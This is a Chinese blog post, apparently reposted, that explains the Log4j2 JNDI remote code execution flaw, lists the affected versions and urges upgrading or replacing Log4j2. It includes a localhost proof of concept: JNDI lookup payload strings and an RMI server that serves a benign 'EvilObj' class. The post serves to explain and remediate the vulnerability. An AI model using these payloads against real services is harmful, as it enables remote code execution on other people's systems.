Log4j2最近被爆出巨大漏洞

Log4j2最近被爆出巨大漏洞,第1张

Log4j2最近被爆出巨大漏洞 一、背景

近日,知名sl4j日志规范的实现框架log4j2被爆出巨大漏洞,可被黑客利用JNDI机制来执行非法命令、拉取远程代码执行,获取非法服务器权限等,不幸的是很多知名框架也用了log4j2,我们熟知的就有Apache Struts2、Apache Solr、Apache Druid、Apache Flink…

相信很多互联网厂此刻正瑟瑟发抖,紧急修复。

国家网络应急中心也紧急发布了处理意见:关于Apache Log4j2存在远程代码执行漏洞的安全公告

罪魁祸首是Apache Log4j2、2.0 - 2.15.0-rc1这个两个版本,比如你的项目中有org.apache.logging.log4j:log4j-core:jar:2.14.1,那就赶紧去修复吧。

很多服务使用了log4j2框架,并且打了API入参日志、三方交互日志等,正在被黑客与攻击者拿去搞事情,目前很多安全厂商都给出了替换版本、修改JVM启动参数、日志格式配置文件等的低成本解决办法,不过这里我还是觉得全面移除掉log4j2(可换成logback)比较保险,并且只要是基于sl4j规范来开发的,替换成本也是相当的低!

二、复现方法

下面以springboot服务为例:

log4j2框架maven依赖:
   
        
            org.springframework.boot
            spring-boot-starter-web
            
                
                    org.springframework.boot
                    spring-boot-starter-logging
                
            
        

         
            org.springframework.boot
            spring-boot-starter-log4j2
        
    
log4j2.xml配置:



    
        
        
            
        

        
        
            
        
    

    
        
            
            
        
    


application.yml配置:
logging:
  config: classpath:log4j2.xml

测试方法:
public class Main {
    private static final Logger logger = LoggerFactory.getLogger(Main.class);

    public static void main(String[] args) {
    	logger.info("username is:{}", "${java:os}");
        logger.info("${jndi:ldap://127.0.0.1:1389/#Exploit}");
        logger.error("${}", "jndi:ldap://127.0.0.1:1389/#Exploit");
        logger.error("{}", "${jndi:ldap://127.0.0.1:1389/#Exploit}");
    }
}

这里如果是调用的:jndi:rmi://xxx,那么可以实现用户输入信息后,利用RMI远程调用来调用黑客远程的代码,到服务本机来执行(黑客可以再编写一个api回调信息、也可以执行一些Runtime命令),这就非常危险了。

之前是在log4j2的2.15.0以前的版本,都有该漏洞官方收到反馈后,紧急发布了: 2.15.0-rc1版本,后面此版本被黑客成功绕过,故官方又重新发布了2.15.0-rc2版本。

下面我们演示一下黑客利用RMI的 *** 作:

1、首先编写远程类:

public class RmiServer {

    public static void main(String[] args) throws Exception {
        Registry registry = LocateRegistry.createRegistry(1111);
        Reference reference = new Reference("com.test.EvilObj", "com.test.EvilObj", null);
        ReferenceWrapper wrapper = new ReferenceWrapper(reference);
        registry.rebind("evil", wrapper);
        System.out.println("RMI服务已经启动....");
    }

}

public class EvilObj {

    static {
        System.out.println("一段代码执行了...");
    }
}

2、通过log2j漏洞,远程调用(相当于被攻击服务拉取黑客代码到本地执行)

public class Main {
    private static final Logger logger = LoggerFactory.getLogger(Main.class);

    public static void main(String[] args) {
        String username = "${jndi:rmi://127.0.0.1:1111/evil}";
        logger.info("username is:{}", username);
    }
}

题外话

新技术的固然有性能更好等特点,不过在使用的时候最好也还是等它稳定一段时间再用,springboot官方配置的实现框架是logback,目前还没有爆出什么大的漏洞。

欢迎分享,转载请注明来源:内存溢出

原文地址: http://outofmemory.cn/zaji/5660081.html

(0)
打赏 微信扫一扫 微信扫一扫 支付宝扫一扫 支付宝扫一扫
上一篇 2022-12-16
下一篇 2022-12-16

发表评论

登录后才能评论

评论列表(0条)

保存